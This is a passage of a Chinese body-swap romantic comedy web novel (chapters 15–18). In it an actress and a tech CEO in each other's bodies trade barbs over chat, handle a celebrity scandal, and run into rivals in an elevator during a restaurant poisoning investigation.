其内容翔实可信,详细阐述了这五年来肖竹逸是如何对她进行精神虐待和身体虐待,以及他和经纪人疑似诱骗年轻女孩进行权色交易的证据。 虽然李静所说的不假,对明星来说,操纵舆论是一件再容易不过的事情。 但她没料到的是,今天急需压热度的人有点多,肖竹逸的事情一出,无异于救阮绵绵和沈颐于水火之中。 两方的公关团队发力,这件事很快就冲到了热搜第一。 直播截图和现场照片传遍全网,舆论哗然。 第15章 第十五章 大的哭了,小的疯了 总裁办公室里。 正在摸鱼的乔缨也第一时间吃到了瓜。 说来也讽刺, 肖竹逸在原著的主角团里,也算得上一个有名有姓的小配角。 为了凸显恶毒女配拜高踩低的性格,作者设定了前期乔缨瞧不上身为糊咖的肖竹逸。 她不仅拍戏时对他百般刁难, 更是多次在公共场合出言讽刺。 只有善良的女主为肖竹逸打抱不平,成了他生命里的一束光。 后来肖竹逸因为一部剧爆红升咖, 晋升为视帝,这些事情也随之被挖了出来。 粉丝们一边怜爱小演员没人权被欺压, 一边感叹他和阮绵绵的神仙友情, 一边痛骂乔缨狗眼看人低,是网暴她的主力军。 抛开原著剧情不谈,现实里乔缨也的确很讨厌肖竹逸。 她并不想用肖竹逸现在的塌房来马后炮似的给自己贴金,立什么正义感爆棚嫉恶如仇的人设。 做了坏事就大方承认,都恶毒女配了, 她也不需要找用那些伟光正的理由来洗白。 其实一开始讨厌肖竹逸, 没那么多深层次的原因,就是单纯看这人不顺眼, 莫名觉得他心术不正。 不过讨厌归讨厌,她和肖竹逸此前就只是在几次活动上打过照面, 她能做的也就是摆摆臭脸而已。 关系之所以僵到这个地步, 是因为进组的第一天,乔缨就撞见肖竹逸让经纪人偷偷给同组的未成年小演员递联系方式, 被她给拦了下来。 肖竹逸记恨乔缨坏了他的好事,一边给自 己加戏想要靠吸乔缨的血上位, 一边剧里剧外地卖惨往她身上泼脏水。 本来乔缨就嫌这人脏, 索性就坐实了传闻,把事情闹大,和肖竹逸彻底切割, 直接断了他炒cp的念想。 而从时间节点推测,原著里提到让肖竹逸爆红的剧大概就是他下一部要播的双男主剧。 甚至不用想就能知道,接下来一定是卖腐养蛊、解绑提纯、静候升咖。 这套流程内娱男星们简直屡试不爽,仅粉丝可见的演技拿了奖也不过是金主暗箱操作。 说到底,原著里的正派也好,反派也好,不过是主角视角的扭曲解读。 虽然现在剧是肯定播不了了,但肖竹逸也确实如愿以偿升了咖。 法制咖。 还是个惨遭昔日好友背刺倒油的法制咖。 主角团又如何,别拿npc不当人看,惹急了照样捅,还能引来一出狗咬狗的戏码。 然而,尽管这次事情闹得这么大,事件如此恶劣,因为利益绑定,仍然没有一个娱乐圈相关的公众人物站出来说句话。 乔缨的视线挪到屏幕上,看到转发区没有一个熟面孔,觉得尤为好笑。 咱们娱乐圈平时信谣传谣定体问、嚷嚷自己高危职业的时候不是挺能闹腾的吗? 怎么这时候一个两个都不吭声了? 力挺的呢? 在家跺脚的呢? 太气人了必须严惩的呢? 哦,这个进去踩缝纫机了。 这帮子下九流真的虚伪。 她鄙夷地撇撇嘴,打开微信,把微博链接分享给裴砚知,发去一句: 【磷脂分子:你用我的账号转发一下吧。】 裴砚知回了个ok的表情。 转发完后,他又回头翻了翻聊天记录,忽然明白过来之前那两条莫名其妙的消息是怎么回事了,回复道: 【Dioretsa:我妈是不是来找过你了?】 【Dioretsa:她应该会说要给你买御岭华庭的别墅,不过那儿的户型不太好,两个人住太阴森了,买棠溪湾的吧,离你家和公司也比较近。】 真的假的? 乔缨满脑子都是棠溪湾的房价。 当初看房的时候她就很想买那里的房子,无论是位置、房型,还是周边的配套设施都很优越。 只不过后来一问价格就老实了。 不过裴砚知这人吧,平时看起来嘴毒又脸臭,但意外是个很细腻的人,居然连助理的房间都考虑到了。 虽然她平时并不和喻季年一起住,但这便宜不占白不占,傻子才会去澄清。 被突如其来的馅饼砸得头晕脑花,乔缨一阵恍惚,颤颤巍巍地打下几个字: 【磷脂分子:果真吗,义兄?】 那边很快回过来一串省略号。 【Dioretsa:别瞎叫。】 【Dioretsa:我看起来像缺这点钱的人吗?】 确实不像缺钱。 像缺心眼。 事已至此,乔缨只能在心里郑重地向裴砚知和贺晓女士道歉。 对不起,是她以小人之心度君子之腹了。 难为她在那儿良心未泯地纠结了半天,原来人家有钱人根本就不在乎这仨瓜俩枣的。 东宫娘娘烙大饼了这下。 乔缨沉默了一会儿,忽然间,她浑身像是过电一般,一个诡异的念头惊悚地划过了大脑。 【磷脂分子:义兄,我还有个问题想问你。】 【Dioretsa:放。】 乔缨抓抓头发,冥思苦想,斟酌了一下语气。 【磷脂分子:你相信这个世界是一本小说吗?】 【Dioretsa:不信。】 【磷脂分子:那你脑子里有没有什么自称系统的声音,让你来攻略我?】 【Dioretsa:?我没有精神分裂症。】 穿进小说里救赎反派是多么经典的剧情啊,这次居然不是? 哦也对,一般只有美强惨帅哥才配被治愈,位于食物链底端的恶毒女配是断断没有这种福气的。 那不如再把思维逆转一下,回归最朴素的打法。 【磷脂分子:难不成你是想噶我腰子?】 【Dioretsa:走两步就喘,你这娇软清冷柔弱破碎感白月光的腰子有什么噶的必要?】 居然还记得这茬。 还拐着弯骂她肾虚。 心机深沉,牙尖嘴利,这种人送去出家真的没问题吗? 乔缨磨磨后槽牙,决定给他来个直球。 【磷脂分子:那你为什么对我这么好?】 【Dioretsa:……】 包厢里,裴砚知想起那篇无意之中刷到的报道,深吸一口气: 【Dioretsa:因为我千亿身家不忘孝道。】 他放下手机,视线移到眼前那几盘冒着热气的红油油的菜,胃里一阵幻痛。 如果吃辣的程度可以用数据衡量,那大概半个辣椒就能让裴砚知当场殒命。 这家私厨名叫湘里别。 从这颇具幽默色彩的名字也能看出是湘菜系,味道在京市这座美食荒漠里算得上不错。 老板是半个娱乐圈的人,私密性做得很好,所以常常有明星光顾。 作为一个无辣不欢的人,乔缨自然也是这里的常客。 喻季年夹了一筷子小炒黄牛肉,继续低头看着手机,忽然刷到一条营销号视频,底下的tag标上了肖竹逸和他卖腐搭子的名字。 她被辣椒呛得一咳,手指误触到播放键,尖利刺耳的AI女声顿时从手机里传了出来: 【听业内人士爆料的,真不真你们别问我哈!】 【据说今天这事,大的知道有幕后黑手在搞他们这对神仙眷侣绝命鸳鸯,所以大的被带走后哭着说,要搞就搞我一个就行,他还小!】 【然后小的那个在剧组就发疯了,戏也不拍了,去小树林打了几个小时的电话,边打边哭,立即就要买机票过来看他!】 【工作人员在树林外面把风,说大的还反过来安慰他来着,哄了两个小时才哄好呢!】 一语毕,室内一时寂静无声。 喻季年听完,感觉小脑都萎缩了。 她张了张嘴,不知道该作何评价,脑子里的弹幕闪过了无数句歹毒的话,最后只发自肺腑地感叹了三个字:“傻逼吧?” 打开评论区,一群粉丝在那赛博哭坟,情真意切得好像这俩亡命鸳鸯下一秒就要化蝶了似的。 cp粉是最傻的。 喻季年摇头嘲笑几声,忙里偷闲地抬头,看了一眼对面那位始终缄默不言的人,奇怪道:“缨姐,你今天怎么不吃菜啊?” 裴砚知:“……我不饿。” “哎呀,偶而放纵一次没关系的。” 喻季年却以为他是在担心热量太高,宽声安慰他:“你之前不是说养伤这几天喝够了白粥,想出来吃顿好的吗?正巧,今天可是个值得庆祝的好日子,开个香槟都不为过,放心吃吧。” 在她殷切的目光中,裴砚知迟疑地夹起一小块剁椒鱼头,然后更加迟疑地送进嘴里。 没有预想中的灼烧似的疼痛,味蕾的刺激一路蔓延到大脑,分泌的内啡肽带来了强烈的满足感。 裴砚知第一次发现辣椒这玩意儿的妙处,惊讶地又多吃了几口。 乔缨不愧是蓉城人,这具身体对辣椒的耐受程度对于他来说,已经算是恐怖故事了。 前二十五年养成的味觉习惯,在一夕之间被颠覆。 裴砚知仿佛打开了新世界的大门,忍不住把桌上的每道菜都尝了一遍。 与此同时,心心念念湘菜许久的乔缨也和徐言洲来到了饭店里。 电梯内,徐言洲一脸怪异地上下打量她几眼,疑惑道:“你不是吃不了辣吗?” 乔缨的语气比他更疑惑:“为什么?我有胃病吗?” 现实里裴砚知还真有这么俗套的霸总设定啊? 她怎么一点也不奇怪呢。 徐言洲感觉她这话问得莫名其妙的,眉毛差点打成了中国结。 “你忘啦?虽然没 有胃病,但你小时候吃重庆火锅被调料辣晕过,在医院里躺了两天,从此以后就半点辣都不沾了。” 被调料辣晕,好小众的词汇。 就裴砚知这玻璃胃,她今天不会交代在这儿了吧? 乔缨在食欲和良心之间挣扎许久,最终决定屈服于内心的欲望。 她直视着徐言洲讶异的双眼,语气凛然:“没什么,我只是想通了。” 这里的老板显然也认识裴砚知这等人物,特意给两人安排到了顶楼的vip包厢。 只是屁股刚坐热板凳,服务员忽然面带焦急地敲响了房门,紧张道:“两位先生,不好意思,现在饭店里出现了一点问题,老板让我先和您两位沟通一下情况。” 徐言洲好奇地问:“发生什么事了?” 服务员擦擦脑门儿上的汗,语气抱歉:“呃,是这样,有人刚刚在餐厅里投毒被抓住了,现在外面围了很多警察和记者,所以……” 话音未落,室内的灯光忽闪了几次,然后彻底暗了下去。 第16章 第十六章 有人性的男性是不会做出这样…… 这电停得突然, 喻季年愣了两秒,赶紧打开手电筒站了起来,朝对面照了照。 裴砚知被突如其来的强光晃得眼睛一疼。 知道的以为他在吃饭, 不知道的还以为他越狱被哪个灯塔的哨兵给抓住了。 裴砚知闭上眼睛缓了半分钟,冷静地开口询问:“你这是随身带了个探照灯吗?” 喻季年见他神色如常, 甚至还有力气挖苦人,一颗悬着的心才放下。 她把灯光转到地面, 朝他嘿嘿一笑:“直播间买的, 女生下夜班专属小手电。” 当了这么久的助理,她或多或少也能理解心理障碍患者的感受。 哪怕这个房间在普通人看来根本算不得狭小,一旦没了光线,有时也会诱发乔缨的恐慌。 轻则心悸,重则晕厥, 刚开始工作那会儿她还被吓到过几次。 楼下吵闹的声音渐大, 混乱中还有几声警笛的声响,隐约听到几个“下毒”“同伙”的词汇。 喻季年有种不好的预感, 皱眉迟疑道:“缨姐,要不你先在这儿等着, 我出去看看发生啥事了。” 裴砚知:“一起去。” 毕竟事发突然, 四周又没什么光亮,让喻季年一个人出去不安全。 他喝了一口茶, 然后慢条斯理地擦擦嘴,在喻季年疑惑的目光下披衣起身, 推门而出。 应急照明灯在走廊上幽幽亮着。 和他们一样, 这层楼里的其他客人也三三两两地出来查看情况,脸上的表情都不怎么好看。 一个服务生带着两名穿制服的男子出现在走廊尽头,步履如风地走了过来, 颇有威压感。 这里的客人来头都不小,那名服务生看上去才十六七岁的样子,有些胆怯地站在众人面前,小声道:“那、那个,警察叔叔,就是这几个包厢了。” 此语一出,在场的人纷纷露出了狐疑的表情。 他们基本上都是艺人团队里的工作人员,毕竟娱乐圈也就这么大,彼此之间还算熟悉,关系稍好的还时常聚在一起吐槽自家的艺人有多难伺候。 以这群208的尿性,难不成有谁在这里吸毒被抓了? 大家你看看我,我看看你,眼里带着探究和几分幸灾乐祸,迅速形成了一条猜疑链。 “你好,请问发生什么事了吗?” 诡异的气氛里,喻季年率先开口打断了沉默。 众人将目光对准两人,这才发现原来乔缨也在现场,脸上皆是一惊。 明星都精贵得很,他们自家的艺人现在都老老实实躲在房间里,生怕一出门被狗仔拍到编排些乱七八糟的东西。 乔缨倒是胆子大,她如今得罪的粉丝可不少,这黑灯瞎火的也不怕遇到什么危险。 警察亮出了证件,公事公办道:“有人企图向饭菜中投放未知药品,我们高度怀疑此人还有同伙,所以需要各位下楼配合调查。” “这不太方便吧?” 其中一个男人立即不满地嚷了一句,浑身上下的横肉都抖了起来,睨着绿豆似的眼睛,咄咄逼人的态度仿佛根本就没把警察放在眼里。 他身旁的矮个子女人也帮腔道:“是啊,我们家辰辰待会儿还有通告要上呢,这时间你们可耽误不起。” 她上下打量一番,又嗤笑一声:“李辰星你认识吗?他的通告费一个小时五百万,这损失让谁来赔,你们吗?” “李辰星是吧?我当然认识。” 那警察神色始终保持平静,锐利的双眼扫向说话的二人,语气却凌厉到了极点,寒气逼人:“你们团队上次在机场霸占公共设施,将普通乘客赶下摆渡车致使孕妇受伤的事件也是我出的警,怎么,还需要我帮你们再回忆回忆吗?” 女人脸色一阵变化,咽了口唾沫,张嘴正欲辩解些什么。 身边的人见状连忙拉拉她的袖子,示意她闭嘴,其他人也再三保证自己绝对会配合调查。 谁敢这时候去触霉头,不要命了。 人家李辰星是顶流,自然有叫嚣的资本,但他们的艺人可不是,还是夹着尾巴做人比较好,还能在公务人员面前留下个好印象。 碳水摄入过多的裴砚知忍不住打了个哈欠,恹恹道:“那一个个还杵在这里干嘛?等着人警察同志用八抬大轿把你们的大明星抬出来啊?” 经他这一说,鹌鹑似的几人迅速作鸟兽散,一溜烟地钻进了房间里。 这里楼层高,还好电梯有备用电源,不至于从楼梯腿儿着下去。 裴砚知长腿一迈,赶在电梯经过前按了下行键,一开门,正好和电梯里的乔缨对上了视线。 她惊讶地微睁着双眼,问:“你怎么……” 话音未落,一个高大的身影突然闪到了裴砚知身旁,惊喜道:“你怎么也在这里!怪不得我感觉门外的声音有些耳熟呢,好久没见了,你最近过得怎么样?” 这人谁啊? 和正喋喋不休的男人一同跨进电梯后,裴砚知用疑惑的目光注视着乔缨,而乔缨则是给他递了一个自求多福的眼神。 此人名为段羡秋,22岁,小甜剧常驻流量演员,乔缨数年前曾和他合作过一部校园偶像剧。 和乔缨一样,段羡秋并不是科班出身,那部剧能小范围热播,全凭着设定清奇和男女主的化学反应硬撑,因此也吸引到了一小撮cp粉,时至今日还有同人产出。 从那之后两人也一直不冷不热地保持着联系,逢年过节还偶尔发个红包和几句祝福语。 而段羡秋此人,虽然模样很清冷,气质很破碎,更是长着一张毫无攻击性却又格外倔强的翻版小白花脸,看起来像狗血剧里分分钟出车祸而死的白月光。 但私底下的段羡秋—— 其实是个能把人唠到自闭的话痨。 “听说你受伤了,我还打算去看望一下你呢,恢复得怎么样,还需要去复查吗?” 段羡秋很自然地凑到他的身边,保持着恰到好处的距离,冷淡且俊美的脸上带着不易察觉的亲昵。 他一边说着,一边微不可见地瞟了乔缨一眼,在对方察觉到之前,又快速转回视线,继续热络地和裴砚知攀谈。 这种旁若无人的态度,大有把此刻存在感十足的乔缨当空气忽视的感觉。 将他的表情净收眼底的裴砚知,立马看出来此人眼里的敌意和戒备,也不难猜出他故作亲密的小动作是抱着哪种目的。 这男的喜欢乔缨。 开眼了,这辈子也是第一次见到活体绿茶了。 裴砚知面无表情地抬眉,似有若无地看了一眼角落里的乔缨,朝她弯弯唇角。 乔缨被他莫名其妙的笑整得一头雾水,寻思着自己也没出声,怎么就惹到这位大爷了。 还没等她琢磨明白,便听到裴砚知猝不及防地开口,对着滔滔不绝的段羡秋问了一句:“你是韩国人吗?” 段羡秋眼神迷茫,短暂地停顿了一下。 他无奈地想敲敲裴砚知的额头, 手伸到一半,又欲拒还休收了回去,嗔怪地看他一眼。 “为什么这么问?我之前不是跟你说过吗,我以前在韩国当过一年的练习生,你看你又不好好听我说话……” 上扬的尾音仿佛带着钩子,黏黏糊糊,甜甜腻腻,比起控诉和抱怨,更像是在撒娇。 作为一个男人,至少在昨天之前还是个货真价实、完完整整的男人,裴砚知听他的夹子音活活听出了一身的鸡皮疙瘩。 哥们儿,嗓子都快夹冒烟了吧。 而且你每一个动作都是精心设计过的诶,有人性的男性是不会做出这样的动作的。 他不禁在心里冷笑几声。 再转头看看乔缨,俨然是一幅没有看透绿茶招数的钢铁直女模样,一双狭长眼眸中隐隐约约噙着笑意,看起来似乎对这一套很是受用。 她脸上的表情傻里傻气的,就这么直愣愣地看着他们,不知道在想些什么。 原来乔缨喜欢这种类型的。 裴砚知头疼地揉揉眉心,语气更加冷淡了几分,打断道:“没什么,我只是觉得你很吵。” 段羡秋一怔,随即像是松了口气似的,面对裴砚知和嘲讽和挖苦不仅不恼怒,居然还轻松地笑了起来。 他挑挑眉,微微下垂的桃花眼里满是温和的笑意,道:“这才是你嘛,看你一直不说话,我还以为你今天心情不好呢。” 你们抖M真可怕。 裴砚知毫不怀疑如果现在扇他一巴掌,段羡秋绝对会爽到。 “叮”的一声,电梯又停了下来,这次进来的是个一头长发的忧郁男子。 此人名为简函,以前是一支摇滚乐队的主唱。 前几年参加了一档音综逐渐在娱乐圈有了姓名后,单飞成了独立音乐制作人,出过好几首名为先锋音乐、实际上听起来宛如跳大神现场的抽象艺术作品。 简函在看到裴砚知后,眼神一亮,推了推鼻梁上的镜框,垂下眼睛深沉道:“我推给你的博尔赫斯的书,你看了吗?” 一旁的乔缨:“?” 她皱着眉头在脑子里快速翻找了一番,没发现自己和他有什么交集。 见没人回答,简函故作高深地摇摇头,说:“没什么别的意思,有时候我想了解你内心的挣扎,你的文字让我想起了他,那位拉美文学巨匠。我想和你聊聊你是怎么一步一步走到今天,有哪些遗憾。我不想和你聊世俗,我想和你聊你的童年记忆、你的幸福时光和至暗时刻……” 听到这一通又臭又长的响屁,裴砚知连眼皮都没抬一下。 他的魔抗似乎很高,半点没被简函攻击到,平静且从容地直视他的双眼,冷淡的嗓音比机械音还棒读,一张嘴跟淬了毒似的开口道: “吊诡的是,我从你的个体表征中窥见一种后现代式的身份流动性,却又难以解构其滥觞所在,或许是你的这种化后设为先验式的脱域,导致了我的经验视景与想象集合的矛盾,这也形成了你超克于建构之外的张力,我想此刻我对你作符号化的悬置——— “我们正常人一般称之为阳痿。” “建议吃点西地那非调理一下。” 简函听得一愣一愣的,几秒钟后才反应过来,错愕地看着他,涨红了脸,青筋绽出,睁大眼睛怒斥:“你、你怎么这样凭空污人清白?” 话音未落,“叮”的一声,电梯门又开了。 一个戴着金丝边眼镜的矜贵男子往里扫了一眼,蹙了蹙眉,鸦羽似的长睫缓慢扇动。 男人的视线在裴砚知的脸上微妙地停留了几秒,而后勾起一抹意味深长的笑,道:“好多人啊。” 第17章 第十七章 我是极端处男控,不爱用二手…… 逼仄的空间内, 其余几个小助理都努力降低着自己的存在感,只觉得这趟电梯真的无比漫长。 金丝边眼镜男无视了原地破防的简函,直接掠过众人径直走到裴砚知身边, 却被乔缨先一步挡了回去。 他不满地抬头,对上了一双挑衅的眸子, 气氛一瞬间剑拔弩张了起来。 徐言洲倒是认识这人是谁,瑞思创投的傅司宴, 一看这名字就知道不是一般人。 作为京市鼎鼎有名的金融投资家, 傅司宴人送外号傅氏太子爷。 此人行事风格张扬高调且脾气暴躁,常在媒体前抛头露面,通常伴随着一些桃色新闻,关注度比明星还高。 据说他还有一个爱而不得的小青梅,两人纠缠不清数年, 说不清是什么关系, 最终以小青梅结婚出国告终。 自此以后傅司宴便封心锁爱,一边跟个悲情男二一样默默守护着人家, 一边流连于万花丛中。 这熟悉的剧情走向,这熟悉的人设配置, 写进虐文里都是一段佳话。 别问他为什么知道, 但凡在瑞思工作过的人,就没一个不吐槽傅司宴傻逼的, 在京市金融民工的圈子里可谓是臭名昭著。 而裴砚知则与之相反,为人低调, 甚少抛头露面, 尤其不爱在那些无聊的社交场合里逢场作戏。 换言之,裴砚知这般传说级别的人物,除开相关的专业领域, 在公众视野里其实没几个人知道他具体长什么样。 比如说眼前这位自以为霸总,但实际只是在家族庇佑下混饭吃、狐假虎威的二世祖。 傅司宴此刻那张本就桀骜不驯的脸更加乖张,眼里不出意外地变成了扇形图,露出三分凉薄三分讥笑以及四分漫不经心。 他看着比他还高半个头的乔缨,眉宇之间皆是狠戾。 他故作姿态地把弄着金丝边眼镜,压着气泡音低沉道:“在京市这地界儿,老子他妈的想让谁消失就让谁消失,我劝你最好儿别挡我的道儿。” 很久没有人上门找骂了,乔缨心情愉悦地勾勾唇角,笑得比傅司宴还邪魅。 她双手抱臂居高临下地睨着他,纯恶意地嘲讽一句:“像儿你儿这儿样儿的儿,纪委上两次门就老实了。” 果不其然,傅司宴听到这话后僵硬了一瞬。 哪怕他再怎么嚣张,也知道这话题如果继续往下说可就危险了。 在场的人都是娱乐圈的人精,保不齐有谁在偷偷录音。 他只能上下打量乔缨几眼,最后定格在她的皮鞋上,阴阳怪气地冷哼一声。 看起来这么高,谁知道垫了几层增高鞋垫。 宛如精神胜利一般,傅司宴暗骂几句心机男后,迅速找回了信心,那是他作为男性最后的倔强与尊严。 他隔着乔缨宽阔挺拔的身躯,对着裴砚知沉声道:“之前那件事,乔小姐考虑得怎么样了?” 电梯内的众人纷纷把视线移向内侧的裴砚知,可他却只是冷淡地瞥了傅司宴一眼,皱紧了眉头。 不知道是不是心理作用,裴砚知只感觉呼吸不畅,胃部一阵一阵的抽痛,战栗的皮肤上有冷汗冒出。 再联想到警察说的话,他恐怕会成为今天这起事件里的第一位受害者。 好在电梯很快到达一楼。 待人群散开后,留在最后的裴砚知虚虚握住乔缨的手腕,忍着疼痛,咬牙道:“我感觉有些不对劲。” 乔缨见他毫无血色的一张脸,吓了一跳,顿时紧张起来:“你怎么了?” 问完后她才后知后觉地反应过来,把裴砚知扶到角落里的沙发上,忙问道:“你是不是胃疼?” 裴砚知痛得蜷缩起来,头埋在膝盖上,轻轻动了一下。 “我胃不好又总爱吃辣的东西,有时候超负荷了就会这样。” 乔缨拍拍他的背,找服务员要了一杯温水递到他手上,“小喻那里有药,我去给你拿。” 她作势正要起身,却感觉衣角被谁捏住了,一回头,正对上一双水光潋滟的眼睛。 “……那你快点。” 裴砚知抿着唇,睫毛颤动,眼尾泛红,说话时有气无力的,让尾音莫名带着点委委屈屈的撒娇意味。 哇哦,老娘好美。 乔缨心里一动,忍不住摸了摸他的头。 喻季年刚和老板交涉完情况,一回头便看到了这一幕,瞳孔地震了两秒。 虽然隐约有猜出这位陌生的帅哥或许认识乔缨,但也没想到他们关系居然亲密到了这种地步。 换做是别人,要是谁敢对乔缨动手动脚的,管你什么人都免不了一顿呲。 见她状态不对,喻季年迅速走了过来,从包里拿出药片,熟练地递到裴砚知手上,转头对着乔缨道谢。 她扬起一个标准的空姐笑,不自觉开夹的社交音十分之浮夸,仿佛每句话的最后都带着一个波浪号:“谢谢谢谢,我家艺人身体不太好,感谢这位先生的照顾,不知道您怎么称呼呢?” 这官腔打的…… 乔缨现在有种看熟人装逼的感觉。 她绷住表情,云淡风轻地吐出来三个字:“我姓裴。” 一声惊雷,碰上我算你倒霉。 喻季年客客气气地从她手里接过名片,随意一瞟,脸上的标准空姐笑停滞了,惊讶抬头,看看乔缨又看看名片。 她对科技领域没什么兴趣,但以前有个同事是钓鱼佬,对昭星生产的超轻竿赞不绝口,听得多了,就记住了这个名字。 彼时的昭星才刚起步,名声不大,可没想到此后却一路扶摇直上,壮大成了她高攀不起的模样。 喻季年沉吟片刻,不知为何突然文曲星上身,开始狂飙英文:“裴总,耐……Nice to see you!Its a pleasure to meet you in person……” 喻季年一紧张就容易大脑宕机语无伦次,她本来就是英专生转行来的,现在猝不及防和巨佬面对面了,便条件反射地拾起了老本行。 乔缨一看这死出就知道她在干嘛,秉持着不能让手底下的好员工在帅哥面前出洋相的心态,不忍直视地打断她:“我听得懂中文。” “我看您长得有点像混血,哈哈!”喻季年尴尬地挠挠手心,“那啥,我先去结账了,两位慢聊!” “等等——” 乔缨十分炫酷地掏出一张黑金色的卡,用两根修长的手指夹住,拦住脚底抹油准备开溜的喻季年,递到她眼前,邪魅一笑:“女人,刷我的卡。” 好装逼,好霸道。 她老早就想这么干一次了。 喻季年震惊,不负众望地像小说里的路人一样抑扬顿挫地发出浮夸感叹:“天呐,这就是传说中的黑卡吧?!真不愧是裴总!” 她拿着卡雄赳赳地走远了。 “你俩相声演完了?” 裴砚知似笑非笑地看着乔缨,眼尾弯出了微小的弧度。 就这一会儿功夫,他便恢复了往常的神色。 很显然药效没有这么快,但听这俩人胡扯瞎咧了半晌,注意力被分散后,竟然逐渐减缓了胃部的疼痛感。 他一出声,乔缨这才想起黑卡的正主还在这里。 她却丝毫没有被抓包的窘迫,反而挑着眉张扬笑道:“反正今天菜都是你吃的,裴总不会这么小气吧?” 果然是打的这个算盘,还真是一点亏都不愿意吃。 摸清了乔缨守财奴的本色,裴砚知从善如流地顺势说道:“既然如此,我有个提议。” 乔缨:“什么提议?” 裴砚知:“开通亲密付。” 说完,他像是怕乔缨不同意似的,又补充道:“免了对账的麻烦,省时省力。” “我们这样……有点暧昧了吧?”乔缨迟疑。 这要是被谁看见了,跳进黄河里都洗不清。 裴砚知不以为然:“你不是要假装谈恋爱吗,正好可以演给我妈看。” “好吧。”有理有据,无法反驳。 毕竟这个建议是自己提出来的,乔缨成功被说服,顺从地把手机递给他操作。 裴砚知一边低头摆弄着,一边冷不丁发问:“说到这个,你先给我解释解释和那三位的关系,我好决定之后该怎么演。” 乔缨坦然回答:“如你所见,没什么关系。” “我不信。” 裴砚知重新把手机抛给乔缨,气定神闲道:“他们看你的眼神可都不算清白,你好像也和他们关系匪浅,要是你喜欢其中的一个,那我只能说———你看男人的眼光还有待提高。” 乔缨怒了:“你可以怀疑我的人品,但你不能质疑我的审美。” “哦?” 裴砚知饶有兴味地看着她,“那听听乔老师对他们的点评。” 乔缨对对手指:“真的吗?我说话不好听,还是不评价了。” 其实她大可以说实话,但仔细一想,又觉得没必要。 她是恶毒女配诶,同时吊着几个男人有什么问题吗? 为什么要给他解释? “一百万一个人。”裴砚知伸出一根手指。 “成交。” 刚硬气了两秒的乔缨立马放弃挣扎,这辈子都没这么快妥协过。 “首先是段羡秋,”她表情遗憾,说得痛心疾首,“他太热爱音乐了,而我是个音痴。” 理由编得很烂,裴砚知却若有所思地敲敲手指,长睫颤动,原本下压的眉眼陡然上抬看向她。 在这般真挚的目光下,乔缨不得已继续坦白:“他确实对我有好感,可这并不耽误他拍一部谈一个,虽然嘴上说都是公司炒作,不过嘛———” 她耸耸肩:“到底是被逼无奈还是乐在其中,谁说得清楚。他或许只是需要一个展现深情的工具而已,至于其中的感情有多真,我看不见得,要不然也做不到人机分离。” 裴砚知眨眨眼睛:“那你刚才为什么对他笑?” “他秋衣穿反了,高领毛衣里的秋衣,”乔缨忍俊不禁地咧了咧嘴角,“还是深紫色的。” 没想到居然是这个原因。 裴砚知清咳一声:“行吧,下一个。” 乔缨摆摆手:“至于简函,对土殖文艺逼没什么好说的,我们敞亮金属人看不上刻奇摇滚男。” “确实,”裴砚知对此没有异议,“不过你书桌上的确放着一本博尔赫斯的诗集。” 乔缨敷衍点头:“嗯嗯,装逼用的,其实一页没看过。” “那傅司宴让你考虑的事情是什么?门口那辆法拉利可不是他的,别被他画大饼骗了。” “我知道啊。” 在三百万的驱动下,丢掉个人素质后的乔缨越发刻薄起来:“网上那些营销号都说他气质矜贵,不过就是金钱滤镜下的傲慢罢了,傅司宴还总吹牛要接管傅氏呢,但他面相太差,我看是没戏了。” 很新奇的理由,没想到乔缨还会看面相。 裴砚知莫名奇妙笑了一下:“他又不去当总统。” 乔缨没理他,自顾自说道:“傅司宴的奶奶是圈里的前辈,执意要撮合我俩。傅司宴就说要契约结婚,承诺三年后会给我一大笔钱。” 她一手摸着下巴,冷静分析:“白月光出国结婚了就来找我接盘,这家人指定没憋好屁。和这种冷暴力又爱PUA的男人结婚,怕是三年不到我就会因为杀夫上法制新闻。” 最后,她撇撇嘴,又加上一句总结语:“再说了,金融男,狗都不谈。” 故事之曲折离奇,连裴砚知都忍不住感叹:“一个年下暗恋,一个先婚后爱,这么多狗血的剧本都被你碰上了,你倒是挺清醒。” 乔缨挑眉:“男人最大的魅力来自于女人的想象力,因为我不喜欢,所以对他们没有滤镜。” 裴砚知沉吟:“不过,单凭主观臆测会不会太武断了?或许事实并不是你想的那样。” “他们在我这里还不配当男主,”乔缨摆摆手,“再说了,人心难测,当下的真情又值几个钱。” “而且我觉得你真的想多了。” 她重新坐直身体,语气正经,振振有辞:“从心理和生理的广义角度来看,他们都不是处男,但我是极端处男控,不爱用二手的东西。” “精神洁癖这么严重,穿成我你还真值得庆幸,换成别人你不得自宫?”裴砚知挑眉看着她。 乔缨笑吟吟和他对视:“说得不错,这个年代,像裴总这样贤良淑德的雄性不多了,全国三个好男人名额必有你一份,裴总需要我给您颁个奖吗?” 裴砚知:“……我谢谢你这一坨巨大的赞美。” 乔缨敷衍地拍完马屁后,把手掌伸到男人眼前,催促道:“说完了,我的钱呢?” “刚刚就给你转了。” 裴砚知给她看了一眼手机屏幕,短信提醒乔缨的银行卡收到了一笔三百万的钱款,备注是自愿赠予。 不远处的窗外,一个狗仔躲在草丛中。 他原本是来拍李辰星的,却无意间发现了乔缨和裴砚知的互动,当即便转移了目标。 本就是处于风口浪尖上的两人,今天要是拍到了他们的同框亲密照,这不得赚死。 正要按下快门时,不知在一旁蹲了多久的徐言洲突然拍了拍他的肩膀。 狗仔惊愕转头,只见徐言洲露出八颗板正的牙齿,朝他爽朗一笑:“哥们儿,这照片我要了,记得给我老板和老板娘拍好看点。” 第18章 第十八章 你有所不知,他卖过沟子…… 京市郊外。 一辆黑色轿车不紧不慢地行驶在绕城高速上。 车窗外, 高楼大厦逐渐被荒野山林取代。 温度骤降,林娇娇裹了裹身上的外套,生无可恋地靠在座椅上。 她是阮绵绵的生活助理, 因为修罗场三人组的闹剧被叫到医院里收拾烂摊子,费了好一番功夫才把两位大明星从精神科里捞出来。 众所周知, 现在内娱走甜妹路线的,十个里有九个半是太妹。 而在这群太妹里头, 阮绵绵更是重量级。 这大小姐不仅屁事多, 还恋爱脑,林娇娇整天给她和沈颐鞍前马后当牛做马,一个人干八个人的活,还讨不到一句好,工资也低。 天知道给阮绵绵当助理有多憋屈。 就比如现在, 她原本想直接把阮绵绵送回家, 可雄竞失败的沈颐偏偏吃了乔俞诚的醋,说什么都要让阮绵绵去自己的豪华大别野里做客。 林娇娇耐着性子劝说了好半天, 说澄清的微博刚发出没多久,暂时先避避嫌比较好, 却只等来阮绵绵一记嫌她多事的白眼。 可怜两人公司的同行们正焦头烂额、加班加点地想着法压热搜, 这两位正主不仅不领情,还反过来添乱。 不出意料的, 